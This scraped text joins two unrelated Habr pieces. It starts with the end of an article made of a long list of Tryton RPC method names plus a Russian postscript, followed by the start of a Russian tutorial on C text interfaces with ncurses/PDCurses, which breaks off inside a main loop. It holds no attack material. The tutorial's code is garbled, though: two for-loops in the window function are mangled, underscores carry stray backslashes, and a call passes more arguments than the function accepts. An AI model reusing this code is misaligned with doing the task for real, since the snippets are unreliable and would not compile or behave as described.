«model.ir.sequence.strict.copy»,
«model.ir.sequence.strict.fields\_get»,
«model.ir.sequence.strict.default\_get»,
«model.ir.sequence.strict.delete»,
«model.ir.ui.menu.favorite.view\_toolbar\_get»,
«model.ir.ui.menu.favorite.fields\_view\_get»,
«model.ir.ui.menu.favorite.export\_data»,
«model.ir.ui.menu.favorite.search\_read»,
«model.ir.ui.menu.favorite.import\_data»,
«model.ir.ui.menu.favorite.create»,
«model.ir.ui.menu.favorite.get»,
«model.ir.ui.menu.favorite.search»,
«model.ir.ui.menu.favorite.on\_change\_with»,
«model.ir.ui.menu.favorite.write»,
«model.ir.ui.menu.favorite.read»,
«model.ir.ui.menu.favorite.search\_count»,
«model.ir.ui.menu.favorite.set»,
«model.ir.ui.menu.favorite.history\_revisions»,
«model.ir.ui.menu.favorite.pre\_validate»,
«model.ir.ui.menu.favorite.copy»,
«model.ir.ui.menu.favorite.fields\_get»,
«model.ir.ui.menu.favorite.default\_get»,
«model.ir.ui.menu.favorite.unset»,
«model.ir.ui.menu.favorite.delete»,
«model.res.user-res.group.pre\_validate»,
«model.res.user-res.group.fields\_get»,
«model.res.user-res.group.default\_get»,
«model.res.user-res.group.on\_change\_with»,
«model.ir.ui.view.show.start.view\_toolbar\_get»,
«model.ir.ui.view.show.start.fields\_view\_get»,
«model.ir.ui.view.show.start.on\_change\_with»,
«model.ir.ui.view.show.start.pre\_validate»,
«model.ir.ui.view.show.start.fields\_get»,
«model.ir.ui.view.show.start.default\_get»,
«model.ir.attachment.view\_toolbar\_get»,
«model.ir.attachment.fields\_view\_get»,
«model.ir.attachment.export\_data»,
«model.ir.attachment.search\_read»,
«model.ir.attachment.import\_data»,
«model.ir.attachment.create»,
«model.ir.attachment.search»,
«model.ir.attachment.on\_change\_with\_summary»,
«model.ir.attachment.on\_change\_with»,
«model.ir.attachment.write»,
«model.ir.attachment.read»,
«model.ir.attachment.search\_count»,
«model.ir.attachment.history\_revisions»,
«model.ir.attachment.pre\_validate»,
«model.ir.attachment.models\_get»,
«model.ir.attachment.copy»,
«model.ir.attachment.fields\_get»,
«model.ir.attachment.default\_get»,
«model.ir.attachment.delete»,
«model.ir.translation.update.start.view\_toolbar\_get»,
«model.ir.translation.update.start.fields\_view\_get»,
«model.ir.translation.update.start.on\_change\_with»,
«model.ir.translation.update.start.pre\_validate»,
«model.ir.translation.update.start.fields\_get»,
«model.ir.translation.update.start.default\_get»,
«model.ir.export.view\_toolbar\_get»,
«model.ir.export.fields\_view\_get»,
«model.ir.export.export\_data»,
«model.ir.export.search\_read»,
«model.ir.export.import\_data»,
«model.ir.export.create»,
«model.ir.export.search»,
«model.ir.export.on\_change\_with»,
«model.ir.export.write»,
«model.ir.export.read»,
«model.ir.export.search\_count»,
«model.ir.export.history\_revisions»,
«model.ir.export.pre\_validate»,
«model.ir.export.copy»,
«model.ir.export.fields\_get»,
«model.ir.export.default\_get»,
«model.ir.export.delete»,
«model.ir.ui.view\_tree\_width.view\_toolbar\_get»,
«model.ir.ui.view\_tree\_width.fields\_view\_get»,
«model.ir.ui.view\_tree\_width.set\_width»,
«model.ir.ui.view\_tree\_width.export\_data»,
«model.ir.ui.view\_tree\_width.search\_read»,
«model.ir.ui.view\_tree\_width.import\_data»,
«model.ir.ui.view\_tree\_width.create»,
«model.ir.ui.view\_tree\_width.search»,
«model.ir.ui.view\_tree\_width.on\_change\_with»,
«model.ir.ui.view\_tree\_width.write»,
«model.ir.ui.view\_tree\_width.read»,
«model.ir.ui.view\_tree\_width.search\_count»,
«model.ir.ui.view\_tree\_width.history\_revisions»,
«model.ir.ui.view\_tree\_width.pre\_validate»,
«model.ir.ui.view\_tree\_width.copy»,
«model.ir.ui.view\_tree\_width.fields\_get»,
«model.ir.ui.view\_tree\_width.default\_get»,
«model.ir.ui.view\_tree\_width.delete»,
«model.res.group.view\_toolbar\_get»,
«model.res.group.fields\_view\_get»,
«model.res.group.export\_data»,
«model.res.group.search\_read»,
«model.res.group.import\_data»,
«model.res.group.create»,
«model.res.group.search»,
«model.res.group.on\_change\_with»,
«model.res.group.write»,
«model.res.group.read»,
«model.res.group.search\_count»,
«model.res.group.history\_revisions»,
«model.res.group.pre\_validate»,
«model.res.group.copy»,
«model.res.group.fields\_get»,
«model.res.group.default\_get»,
«model.res.group.delete»,
«model.ir.sequence.view\_toolbar\_get»,
«model.ir.sequence.fields\_view\_get»,
«model.ir.sequence.export\_data»,
«model.ir.sequence.search\_read»,
«model.ir.sequence.import\_data»,
«model.ir.sequence.create»,
«model.ir.sequence.search»,
«model.ir.sequence.on\_change\_with»,
«model.ir.sequence.write»,
«model.ir.sequence.read»,
«model.ir.sequence.search\_count»,
«model.ir.sequence.code\_get»,
«model.ir.sequence.history\_revisions»,
«model.ir.sequence.pre\_validate»,
«model.ir.sequence.copy»,
«model.ir.sequence.fields\_get»,
«model.ir.sequence.default\_get»,
«model.ir.sequence.delete»,
«model.ir.model.data.view\_toolbar\_get»,
«model.ir.model.data.fields\_view\_get»,
«model.ir.model.data.export\_data»,
«model.ir.model.data.search\_read»,
«model.ir.model.data.import\_data»,
«model.ir.model.data.create»,
«model.ir.model.data.search»,
«model.ir.model.data.on\_change\_with»,
«model.ir.model.data.write»,
«model.ir.model.data.read»,
«model.ir.model.data.search\_count»,
«model.ir.model.data.history\_revisions»,
«model.ir.model.data.pre\_validate»,
«model.ir.model.data.copy»,
«model.ir.model.data.fields\_get»,
«model.ir.model.data.default\_get»,
«model.ir.model.data.delete»,
«model.ir.sequence.type-res.group.pre\_validate»,
«model.ir.sequence.type-res.group.fields\_get»,
«model.ir.sequence.type-res.group.default\_get»,
«model.ir.sequence.type-res.group.on\_change\_with»,
«model.ir.trigger.log.pre\_validate»,
«model.ir.trigger.log.fields\_get»,
«model.ir.trigger.log.default\_get»,
«model.ir.trigger.log.on\_change\_with»,
«model.ir.ui.view.view\_toolbar\_get»,
«model.ir.ui.view.fields\_view\_get»,
«model.ir.ui.view.export\_data»,
«model.ir.ui.view.search\_read»,
«model.ir.ui.view.import\_data»,
«model.ir.ui.view.create»,
«model.ir.ui.view.search»,
«model.ir.ui.view.on\_change\_with»,
«model.ir.ui.view.write»,
«model.ir.ui.view.read»,
«model.ir.ui.view.search\_count»,
«model.ir.ui.view.history\_revisions»,
«model.ir.ui.view.pre\_validate»,
«model.ir.ui.view.copy»,
«model.ir.ui.view.fields\_get»,
«model.ir.ui.view.default\_get»,
«model.ir.ui.view.delete»,
«model.ir.ui.view.show»,
«model.ir.action.report.view\_toolbar\_get»,
«model.ir.action.report.fields\_view\_get»,
«model.ir.action.report.on\_change\_with\_report\_content\_name»,
«model.ir.action.report.export\_data»,
«model.ir.action.report.search\_read»,
«model.ir.action.report.import\_data»,
«model.ir.action.report.create»,
«model.ir.action.report.search»,
«model.ir.action.report.on\_change\_with»,
«model.ir.action.report.write»,
«model.ir.action.report.read»,
«model.ir.action.report.search\_count»,
«model.ir.action.report.history\_revisions»,
«model.ir.action.report.pre\_validate»,
«model.ir.action.report.copy»,
«model.ir.action.report.fields\_get»,
«model.ir.action.report.default\_get»,
«model.ir.action.report.delete»,
«model.res.user-ir.action.pre\_validate»,
«model.res.user-ir.action.fields\_get»,
«model.res.user-ir.action.default\_get»,
«model.res.user-ir.action.on\_change\_with»,
«model.ir.model.field-res.group.pre\_validate»,
«model.ir.model.field-res.group.fields\_get»,
«model.ir.model.field-res.group.default\_get»,
«model.ir.model.field-res.group.on\_change\_with»,
«model.ir.module.module.install\_upgrade.done.view\_toolbar\_get»,
«model.ir.module.module.install\_upgrade.done.fields\_view\_get»,
«model.ir.module.module.install\_upgrade.done.on\_change\_with»,
«model.ir.module.module.install\_upgrade.done.pre\_validate»,
«model.ir.module.module.install\_upgrade.done.fields\_get»,
«model.ir.module.module.install\_upgrade.done.default\_get»,
«model.ir.rule.view\_toolbar\_get»,
«model.ir.rule.fields\_view\_get»,
«model.ir.rule.export\_data»,
«model.ir.rule.search\_read»,
«model.ir.rule.import\_data»,
«model.ir.rule.create»,
«model.ir.rule.search»,
«model.ir.rule.on\_change\_with»,
«model.ir.rule.write»,
«model.ir.rule.read»,
«model.ir.rule.search\_count»,
«model.ir.rule.history\_revisions»,
«model.ir.rule.pre\_validate»,
«model.ir.rule.copy»,
«model.ir.rule.fields\_get»,
«model.ir.rule.default\_get»,
«model.ir.rule.delete»,
«model.ir.translation.view\_toolbar\_get»,
«model.ir.translation.fields\_view\_get»,
«model.ir.translation.export\_data»,
«model.ir.translation.search\_read»,
«model.ir.translation.import\_data»,
«model.ir.translation.create»,
«model.ir.translation.search»,
«model.ir.translation.on\_change\_with»,
«model.ir.translation.write»,
«model.ir.translation.read»,
«model.ir.translation.search\_count»,
«model.ir.translation.get\_language»,
«model.ir.translation.history\_revisions»,
«model.ir.translation.pre\_validate»,
«model.ir.translation.copy»,
«model.ir.translation.fields\_get»,
«model.ir.translation.default\_get»,
«model.ir.translation.delete»,
«model.ir.model.button.view\_toolbar\_get»,
«model.ir.model.button.fields\_view\_get»,
«model.ir.model.button.export\_data»,
«model.ir.model.button.search\_read»,
«model.ir.model.button.import\_data»,
«model.ir.model.button.create»,
«model.ir.model.button.search»,
«model.ir.model.button.on\_change\_with»,
«model.ir.model.button.write»,
«model.ir.model.button.read»,
«model.ir.model.button.search\_count»,
«model.ir.model.button.history\_revisions»,
«model.ir.model.button.pre\_validate»,
«model.ir.model.button.copy»,
«model.ir.model.button.fields\_get»,
«model.ir.model.button.default\_get»,
«model.ir.model.button.delete»,
«model.ir.translation.export.start.view\_toolbar\_get»,
«model.ir.translation.export.start.fields\_view\_get»,
«model.ir.translation.export.start.on\_change\_with»,
«model.ir.translation.export.start.pre\_validate»,
«model.ir.translation.export.start.fields\_get»,
«model.ir.translation.export.start.default\_get»,
«model.ir.sequence.type.view\_toolbar\_get»,
«model.ir.sequence.type.fields\_view\_get»,
«model.ir.sequence.type.export\_data»,
«model.ir.sequence.type.search\_read»,
«model.ir.sequence.type.import\_data»,
«model.ir.sequence.type.create»,
«model.ir.sequence.type.search»,
«model.ir.sequence.type.on\_change\_with»,
«model.ir.sequence.type.write»,
«model.ir.sequence.type.read»,
«model.ir.sequence.type.search\_count»,
«model.ir.sequence.type.history\_revisions»,
«model.ir.sequence.type.pre\_validate»,
«model.ir.sequence.type.copy»,
«model.ir.sequence.type.fields\_get»,
«model.ir.sequence.type.default\_get»,
«model.ir.sequence.type.delete»,
«model.ir.action.wizard.view\_toolbar\_get»,
«model.ir.action.wizard.fields\_view\_get»,
«model.ir.action.wizard.export\_data»,
«model.ir.action.wizard.search\_read»,
«model.ir.action.wizard.import\_data»,
«model.ir.action.wizard.create»,
«model.ir.action.wizard.search»,
«model.ir.action.wizard.on\_change\_with»,
«model.ir.action.wizard.write»,
«model.ir.action.wizard.read»,
«model.ir.action.wizard.search\_count»,
«model.ir.action.wizard.history\_revisions»,
«model.ir.action.wizard.pre\_validate»,
«model.ir.action.wizard.copy»,
«model.ir.action.wizard.fields\_get»,
«model.ir.action.wizard.default\_get»,
«model.ir.action.wizard.delete»,
«model.res.user.get\_preferences\_fields\_view»,
«model.res.user.view\_toolbar\_get»,
«model.res.user.fields\_view\_get»,
«model.res.user.export\_data»,
«model.res.user.search\_read»,
«model.res.user.import\_data»,
«model.res.user.create»,
«model.res.user.search»,
«model.res.user.on\_change\_with»,
«model.res.user.write»,
«model.res.user.read»,
«model.res.user.search\_count»,
«model.res.user.get\_preferences»,
«model.res.user.history\_revisions»,
«model.res.user.pre\_validate»,
«model.res.user.set\_preferences»,
«model.res.user.copy»,
«model.res.user.fields\_get»,
«model.res.user.default\_get»,
«model.res.user.delete»,
«model.ir.translation.clean.start.view\_toolbar\_get»,
«model.ir.translation.clean.start.fields\_view\_get»,
«model.ir.translation.clean.start.on\_change\_with»,
«model.ir.translation.clean.start.pre\_validate»,
«model.ir.translation.clean.start.fields\_get»,
«model.ir.translation.clean.start.default\_get»,
«model.ir.ui.menu.view\_toolbar\_get»,
«model.ir.ui.menu.fields\_view\_get»,
«model.ir.ui.menu.export\_data»,
«model.ir.ui.menu.search\_read»,
«model.ir.ui.menu.import\_data»,
«model.ir.ui.menu.create»,
«model.ir.ui.menu.search»,
«model.ir.ui.menu.on\_change\_with»,
«model.ir.ui.menu.write»,
«model.ir.ui.menu.read»,
«model.ir.ui.menu.search\_count»,
«model.ir.ui.menu.history\_revisions»,
«model.ir.ui.menu.pre\_validate»,
«model.ir.ui.menu.copy»,
«model.ir.ui.menu.fields\_get»,
«model.ir.ui.menu.default\_get»,
«model.ir.ui.menu.list\_icons»,
«model.ir.ui.menu.delete»,
«model.ir.cache.pre\_validate»,
«model.ir.cache.fields\_get»,
«model.ir.cache.default\_get»,
«model.ir.cache.on\_change\_with»,
«model.ir.module.module.config\_wizard.other.view\_toolbar\_get»,
«model.ir.module.module.config\_wizard.other.fields\_view\_get»,
«model.ir.module.module.config\_wizard.other.on\_change\_with»,
«model.ir.module.module.config\_wizard.other.pre\_validate»,
«model.ir.module.module.config\_wizard.other.fields\_get»,
«model.ir.module.module.config\_wizard.other.default\_get»,
«model.ir.ui.icon.view\_toolbar\_get»,
«model.ir.ui.icon.fields\_view\_get»,
«model.ir.ui.icon.export\_data»,
«model.ir.ui.icon.search\_read»,
«model.ir.ui.icon.import\_data»,
«model.ir.ui.icon.create»,
«model.ir.ui.icon.search»,
«model.ir.ui.icon.on\_change\_with»,
«model.ir.ui.icon.write»,
«model.ir.ui.icon.read»,
«model.ir.ui.icon.search\_count»,
«model.ir.ui.icon.history\_revisions»,
«model.ir.ui.icon.pre\_validate»,
«model.ir.ui.icon.copy»,
«model.ir.ui.icon.fields\_get»,
«model.ir.ui.icon.default\_get»,
«model.ir.ui.icon.list\_icons»,
«model.ir.ui.icon.delete»,
«model.ir.configuration.pre\_validate»,
«model.ir.configuration.fields\_get»,
«model.ir.configuration.default\_get»,
«model.ir.configuration.on\_change\_with»,
«model.ir.rule.group.view\_toolbar\_get»,
«model.ir.rule.group.fields\_view\_get»,
«model.ir.rule.group.export\_data»,
«model.ir.rule.group.search\_read»,
«model.ir.rule.group.import\_data»,
«model.ir.rule.group.create»,
«model.ir.rule.group.search»,
«model.ir.rule.group.on\_change\_with»,
«model.ir.rule.group.write»,
«model.ir.rule.group.read»,
«model.ir.rule.group.search\_count»,
«model.ir.rule.group.history\_revisions»,
«model.ir.rule.group.pre\_validate»,
«model.ir.rule.group.copy»,
«model.ir.rule.group.fields\_get»,
«model.ir.rule.group.default\_get»,
«model.ir.rule.group.delete»,
«model.ir.rule.group-res.user.pre\_validate»,
«model.ir.rule.group-res.user.fields\_get»,
«model.ir.rule.group-res.user.default\_get»,
«model.ir.rule.group-res.user.on\_change\_with»,
«model.res.user.warning.view\_toolbar\_get»,
«model.res.user.warning.fields\_view\_get»,
«model.res.user.warning.export\_data»,
«model.res.user.warning.search\_read»,
«model.res.user.warning.import\_data»,
«model.res.user.warning.create»,
«model.res.user.warning.search»,
«model.res.user.warning.on\_change\_with»,
«model.res.user.warning.write»,
«model.res.user.warning.read»,
«model.res.user.warning.search\_count»,
«model.res.user.warning.history\_revisions»,
«model.res.user.warning.pre\_validate»,
«model.res.user.warning.copy»,
«model.res.user.warning.fields\_get»,
«model.res.user.warning.default\_get»,
«model.res.user.warning.delete»,
«model.ir.translation.clean.succeed.view\_toolbar\_get»,
«model.ir.translation.clean.succeed.fields\_view\_get»,
«model.ir.translation.clean.succeed.on\_change\_with»,
«model.ir.translation.clean.succeed.pre\_validate»,
«model.ir.translation.clean.succeed.fields\_get»,
«model.ir.translation.clean.succeed.default\_get»,
«model.ir.trigger.view\_toolbar\_get»,
«model.ir.trigger.fields\_view\_get»,
«model.ir.trigger.on\_change\_on\_time»,
«model.ir.trigger.on\_change\_on\_write»,
«model.ir.trigger.export\_data»,
«model.ir.trigger.search\_read»,
«model.ir.trigger.import\_data»,
«model.ir.trigger.create»,
«model.ir.trigger.on\_change\_on\_delete»,
«model.ir.trigger.search»,
«model.ir.trigger.on\_change\_with»,
«model.ir.trigger.write»,
«model.ir.trigger.read»,
«model.ir.trigger.search\_count»,
«model.ir.trigger.history\_revisions»,
«model.ir.trigger.pre\_validate»,
«model.ir.trigger.on\_change\_on\_create»,
«model.ir.trigger.copy»,
«model.ir.trigger.fields\_get»,
«model.ir.trigger.default\_get»,
«model.ir.trigger.delete»,
«model.ir.action.keyword.view\_toolbar\_get»,
«model.ir.action.keyword.fields\_view\_get»,
«model.ir.action.keyword.export\_data»,
«model.ir.action.keyword.search\_read»,
«model.ir.action.keyword.import\_data»,
«model.ir.action.keyword.create»,
«model.ir.action.keyword.get\_keyword»,
«model.ir.action.keyword.search»,
«model.ir.action.keyword.on\_change\_with»,
«model.ir.action.keyword.write»,
«model.ir.action.keyword.read»,
«model.ir.action.keyword.search\_count»,
«model.ir.action.keyword.history\_revisions»,
«model.ir.action.keyword.pre\_validate»,
«model.ir.action.keyword.models\_get»,
«model.ir.action.keyword.copy»,
«model.ir.action.keyword.fields\_get»,
«model.ir.action.keyword.default\_get»,
«model.ir.action.keyword.delete»,
«model.ir.date.pre\_validate»,
«model.ir.date.fields\_get»,
«model.ir.date.default\_get»,
«model.ir.date.today»,
«model.ir.date.on\_change\_with»,
«model.ir.model.field.access.view\_toolbar\_get»,
«model.ir.model.field.access.fields\_view\_get»,
«model.ir.model.field.access.export\_data»,
«model.ir.model.field.access.search\_read»,
«model.ir.model.field.access.import\_data»,
«model.ir.model.field.access.create»,
«model.ir.model.field.access.search»,
«model.ir.model.field.access.on\_change\_with»,
«model.ir.model.field.access.write»,
«model.ir.model.field.access.read»,
«model.ir.model.field.access.search\_count»,
«model.ir.model.field.access.history\_revisions»,
«model.ir.model.field.access.pre\_validate»,
«model.ir.model.field.access.copy»,
«model.ir.model.field.access.fields\_get»,
«model.ir.model.field.access.default\_get»,
«model.ir.model.field.access.delete»,
«model.ir.model.button-res.group.pre\_validate»,
«model.ir.model.button-res.group.fields\_get»,
«model.ir.model.button-res.group.default\_get»,
«model.ir.model.button-res.group.on\_change\_with»,
«model.ir.lang.view\_toolbar\_get»,
«model.ir.lang.fields\_view\_get»,
«model.ir.lang.export\_data»,
«model.ir.lang.search\_read»,
«model.ir.lang.import\_data»,
«model.ir.lang.create»,
«model.ir.lang.search»,
«model.ir.lang.on\_change\_with»,
«model.ir.lang.write»,
«model.ir.lang.read»,
«model.ir.lang.search\_count»,
«model.ir.lang.history\_revisions»,
«model.ir.lang.pre\_validate»,
«model.ir.lang.copy»,
«model.ir.lang.fields\_get»,
«model.ir.lang.default\_get»,
«model.ir.lang.delete»,
«model.ir.cron.view\_toolbar\_get»,
«model.ir.cron.fields\_view\_get»,
«model.ir.cron.export\_data»,
«model.ir.cron.search\_read»,
«model.ir.cron.import\_data»,
«model.ir.cron.create»,
«model.ir.cron.search»,
«model.ir.cron.on\_change\_with»,
«model.ir.cron.write»,
«model.ir.cron.read»,
«model.ir.cron.search\_count»,
«model.ir.cron.history\_revisions»,
«model.ir.cron.pre\_validate»,
«model.ir.cron.copy»,
«model.ir.cron.fields\_get»,
«model.ir.cron.default\_get»,
«model.ir.cron.delete»,
«model.ir.export.line.view\_toolbar\_get»,
«model.ir.export.line.fields\_view\_get»,
«model.ir.export.line.export\_data»,
«model.ir.export.line.search\_read»,
«model.ir.export.line.import\_data»,
«model.ir.export.line.create»,
«model.ir.export.line.search»,
«model.ir.export.line.on\_change\_with»,
«model.ir.export.line.write»,
«model.ir.export.line.read»,
«model.ir.export.line.search\_count»,
«model.ir.export.line.history\_revisions»,
«model.ir.export.line.pre\_validate»,
«model.ir.export.line.copy»,
«model.ir.export.line.fields\_get»,
«model.ir.export.line.default\_get»,
«model.ir.export.line.delete»,
«model.ir.translation.set.start.view\_toolbar\_get»,
«model.ir.translation.set.start.fields\_view\_get»,
«model.ir.translation.set.start.on\_change\_with»,
«model.ir.translation.set.start.pre\_validate»,
«model.ir.translation.set.start.fields\_get»,
«model.ir.translation.set.start.default\_get»,
«model.ir.model.field.view\_toolbar\_get»,
«model.ir.model.field.fields\_view\_get»,
«model.ir.model.field.export\_data»,
«model.ir.model.field.search\_read»,
«model.ir.model.field.import\_data»,
«model.ir.model.field.create»,
«model.ir.model.field.search»,
«model.ir.model.field.on\_change\_with»,
«model.ir.model.field.write»,
«model.ir.model.field.read»,
«model.ir.model.field.search\_count»,
«model.ir.model.field.history\_revisions»,
«model.ir.model.field.pre\_validate»,
«model.ir.model.field.copy»,
«model.ir.model.field.fields\_get»,
«model.ir.model.field.default\_get»,
«model.ir.model.field.delete»,
«model.ir.module.module.config\_wizard.item.view\_toolbar\_get»,
«model.ir.module.module.config\_wizard.item.fields\_view\_get»,
«model.ir.module.module.config\_wizard.item.export\_data»,
«model.ir.module.module.config\_wizard.item.search\_read»,
«model.ir.module.module.config\_wizard.item.import\_data»,
«model.ir.module.module.config\_wizard.item.create»,
«model.ir.module.module.config\_wizard.item.search»,
«model.ir.module.module.config\_wizard.item.on\_change\_with»,
«model.ir.module.module.config\_wizard.item.write»,
«model.ir.module.module.config\_wizard.item.read»,
«model.ir.module.module.config\_wizard.item.search\_count»,
«model.ir.module.module.config\_wizard.item.history\_revisions»,
«model.ir.module.module.config\_wizard.item.pre\_validate»,
«model.ir.module.module.config\_wizard.item.copy»,
«model.ir.module.module.config\_wizard.item.fields\_get»,
«model.ir.module.module.config\_wizard.item.default\_get»,
«model.ir.module.module.config\_wizard.item.delete»,
«model.ir.model.global\_search»,
«model.ir.model.view\_toolbar\_get»,
«model.ir.model.fields\_view\_get»,
«model.ir.model.list\_models»,
«model.ir.model.export\_data»,
«model.ir.model.search\_read»,
«model.ir.model.import\_data»,
«model.ir.model.create»,
«model.ir.model.search»,
«model.ir.model.list\_history»,
«model.ir.model.on\_change\_with»,
«model.ir.model.write»,
«model.ir.model.read»,
«model.ir.model.search\_count»,
«model.ir.model.history\_revisions»,
«model.ir.model.pre\_validate»,
«model.ir.model.copy»,
«model.ir.model.fields\_get»,
«model.ir.model.default\_get»,
«model.ir.model.delete»,
«wizard.ir.module.module.config\_wizard.create»,
«wizard.ir.module.module.config\_wizard.execute»,
«wizard.ir.module.module.config\_wizard.delete»,
«wizard.ir.translation.update.create»,
«wizard.ir.translation.update.execute»,
«wizard.ir.translation.update.delete»,
«wizard.ir.translation.set.create»,
«wizard.ir.translation.set.execute»,
«wizard.ir.translation.set.delete»,
«wizard.ir.module.module.install\_upgrade.create»,
«wizard.ir.module.module.install\_upgrade.execute»,
«wizard.ir.module.module.install\_upgrade.delete»,
«wizard.ir.translation.export.create»,
«wizard.ir.translation.export.execute»,
«wizard.ir.translation.export.delete»,
«wizard.res.user.config.create»,
«wizard.res.user.config.execute»,
«wizard.res.user.config.delete»,
«wizard.ir.ui.view.show.create»,
«wizard.ir.ui.view.show.execute»,
«wizard.ir.ui.view.show.delete»,
«wizard.ir.module.module.config.create»,
«wizard.ir.module.module.config.execute»,
«wizard.ir.module.module.config.delete»,
«wizard.ir.model.print\_model\_graph.create»,
«wizard.ir.model.print\_model\_graph.execute»,
«wizard.ir.model.print\_model\_graph.delete»,
«wizard.ir.translation.clean.create»,
«wizard.ir.translation.clean.execute»,
«wizard.ir.translation.clean.delete»,
«report.ir.model.graph.execute»
]
}
P.S. Если тема интересна, то в следующих статьях будет про подключение стандартных модулей и их API, использование стандартных модулей, разработка своих модулей и т.д. | https://habr.com/ru/post/222121/ | null | ru | null |
# Теплый ламповый текстовый интерфейс. Просто о простом
Периодически просматривая топики на хабре, постоянно ловлю себя на мысли, что ещё чуть-чуть и какой-нибудь нейроинтерфейс в ноутбуке станет реальностью. В работе постоянно натыкаюсь на то, что современные люди не очень понимают и любят простую командную строку. А читать мануалы им тем более лень.
Но в моей практике часто случается так, что нужна небольшая утилита, выполняющая одну или две функции. А где именно она будет выполняться — неизвестно. Это может быть Windows, это может быть исключительно терминальный линукс, загрузочная медия — что угодно. Я не программист, но иногда бывает нужно облегчить жизнь себе или другим. И желательно как можно более наглядно. Сначала я пробовал делать просто консольные утилиты. Собственно, с этого, наверное, начинают все. Но очень быстро оказалось, что средствами printf/sprintf/puts и прочими (а пишу я на С) не очень удобно форматировать текст, выводить какую-то информацию. Окно с постоянным «скроллингом» выглядит не очень красиво, и если информации много — абсолютно нечитаемо. Тогда я вспомнил про ncurses.
Обычно curses/ncurses ассоциируется с линуксом, хотя на самом деле совместимые реализации есть для многих платформ, в частности и под Windows. Изначально большая часть утилит нужна была под Win, а никаких графических фреймворков я не знал и отчаянно искал способы нормально оформить текст, сделать красиво и наглядно. Вот тогда я и наткнулся на [Public Domain Curses](http://sourceforge.net/projects/pdcurses/). Созданный с целью быть совместимым с ncurses, он позволяет писать кроссплатформенные приложения, используя большую часть возможностей оригинального curses/ncurses. Но, к сожалению, без багов и ограничений не обходится. Но это не так страшно, как казалось по началу. Я хочу показать, что создать приятное для глаза консольное псевдооконное приложение не так сложно; а на выходе мы получаем теплый ламповый TUI. Хочется, чтобы люди не забывали о таких методах работы с пользователем.
В данном посте, я буду описывать работу, совместимую с PDcurses, так что данные примеры должны без проблем собираться и под Windows и под Linux.
##### Начало
Так как мы работаем с текстовым интерфейсом, то единицей размерности у нас будет один символ. Работать можно как с обычным ASCII, так и с Wide символами. Следует помнить, что отобразить curses может только то, что поддерживает терминал. К сожалению, лично у меня 80% псевдографики не выводится адекватно. Чуть лучше на линуксе, совсем плохо на Windows. к счастью, простые линии выводятся нормально.
Работать мы можем с окнами, панелями, цветами и текстом (включая скроллинг, копирование и прочее).
Перед началом работы, нам необходимо подготовиться к работе, в(ы)ключить (не)нужные опции.
**Вот так выглядит у меня обычное начало работы**
```
initscr(); //инициализируем библиотеку
cbreak(); //Не использовать буфер для функции getch()
raw();
nonl();
noecho(); //Не печатать на экране то, что набирает пользователь на клавиатуре
curs_set(0); //Убрать курсор
keypad(stdscr, TRUE); //Активировать специальные клавиши клавиатуры (например, если хотим использовать горячие клавиши)
if (has_colors() == FALSE) //На практике столкнулся с линуксом, на котором не было поддержки цвета.
{
endwin();
puts("\nYour terminal does not support color");
return (1);
}
start_color(); //Активируем поддержку цвета
use_default_colors(); //Фон stscr будет "прозрачным"
init_pair(1, COLOR_WHITE, COLOR_BLUE); //Все цветовые пары (background-foreground) должны быть заданы прежде, чем их используют
init_pair(2, COLOR_WHITE, COLOR_RED);
......
```
##### Сначала было окно
Когда мы запускаем эмулятор/экземпляр терминала, мы оказываемся в stdscr. Это наш базис, начальное окно. Работать мы можем в нем, либо насоздавать своих окон.
Хватит слов, давайте к делу. Создадим окно. Сразу хочу заметить важный нюанс — везде, во всем функциях, сначала идет Y, потом X
```
WINDOW *win = newwin(height, width, y, x);
```
Каждое новое окно имеет свои собственные относительные координаты, которыми вы будете оперировать в дальнейшем. Это важно и удобно.
Окно создано, но в консоли ничего не появилось. Потому что окно унаследовало атрибуты родителя — stdscr в нашем случае.
Сразу покажу, как делаю я. Имеется структура, которая описывает «виртуальное окно», о панелях расскажу попозже
```
struct cursed_window
{
WINDOW *background;
WINDOW *decoration;
WINDOW *overlay;
PANEL *panel;
};
typedef struct cursed_window curw;
```
Я так делаю для того, чтобы сначала сделать оформление, которое не будет меняться и которое статично. Меняем только рабочие данные, при этом не затирая оформление.
Окно background — прозрачный фон и тень от окна.
decoration — рамка, она рисуется автоматически
overlay — собственно, рабочее поле. Начало координат у неё будет 0,0, так как это новое окно, не нужно вносить поправки на рамку и тень.
про панель — позже.
**Создаем наше виртуальное окно**
```
curw *tui_new_win(int sy, int sx, int h, int w, char *label)
{
curw *new = malloc (sizeof *new);
new->background = newwin(h, w, sy, sx);//Создаем самую нижнюю часть нашего бутерброда
wattron(new->background, COLOR_PAIR(7));//Черная тень, яркий цвет. Атрибуты можно объединять
//И рисуем тень черным пробелом
for (int i= w*0.1; ibackground, h-1, i, ' ');
for (int i= h\*0.2; ibackground, i, w-1, ' ');
wattroff(new->background, COLOR\_PAIR(7));
//Создаем окно для рамки, это уже дочернее окно для фона. Поэтому координаты указываются
//Относительно родительского окна
new->decoration = derwin(new->background, h-2, w-2, 1, 1);
wbkgd(new->decoration, COLOR\_PAIR(1));
//Рисуем рамку
box(new->decoration, 0, 0);
int x, y;
getmaxyx(new->decoration, y, x);
new->overlay = derwin(new->decoration, y-4, x-2, 3, 1);//рабочее дочернее окно
wbkgd(new->overlay, COLOR\_PAIR(1));
new->panel = new\_panel(new->background);
tui\_win\_label(new->decoration, label, 0);
//Даем команду обновить все это на экране
update\_panels();
doupdate();
return new;
}
```
На самом деле, если создать второе окно поверх этого, то наш фон «наедет» на нижнее окно. Это некрасиво. Но устранимо. Но это уже тема отдельного разговора. Уберем тени для простоты и создадим несколько окон
А вот теперь можно сказать про панели. Панель это контейнер-стек, вмещающий в себя окно и все его дочерние окна. С панелью можно проводить множество интересных манипуляций.
##### Панели
Теперь можно продемонстрировать возможности панелей на практике. Самое верхнее окно в стеке доступно для работы по умолчанию. Мы так же можем обращаться к любым окнам и панелям в стеке снизу, писать в них, при этом никак не влияя на окна в стеке выше. Мы можем сами сортировать окна как угодно, перемещать, изменять их размеры. Уж простите за примитивный код, но старался делать нагляднее.
**Создадим, наконец, главный цикл**
```
int x, y;
getmaxyx(stdscr, y, x);
curw *wins[3];
//Создадим несколько окон
wins[0] = tui_new_win(0, 0, y - 5, x - 5, "-=Hello Habr=-", 1);
wins[1] = tui_new_win(y / 3, x / 2, 15, 30, "-=Data=-", 4);
wins[2] = tui_new_win(5, 5, 10, 20, "-=Memo=-", 5);
PANEL *TOP = wins[0]->panel;
int panel_counter = 0;
do
{
switch ( user_key )
{
case 0x9: //TAB
if(++panel_counter > 2)
{
panel_counter=0;
}
TOP = wins[panel_counter]->panel;
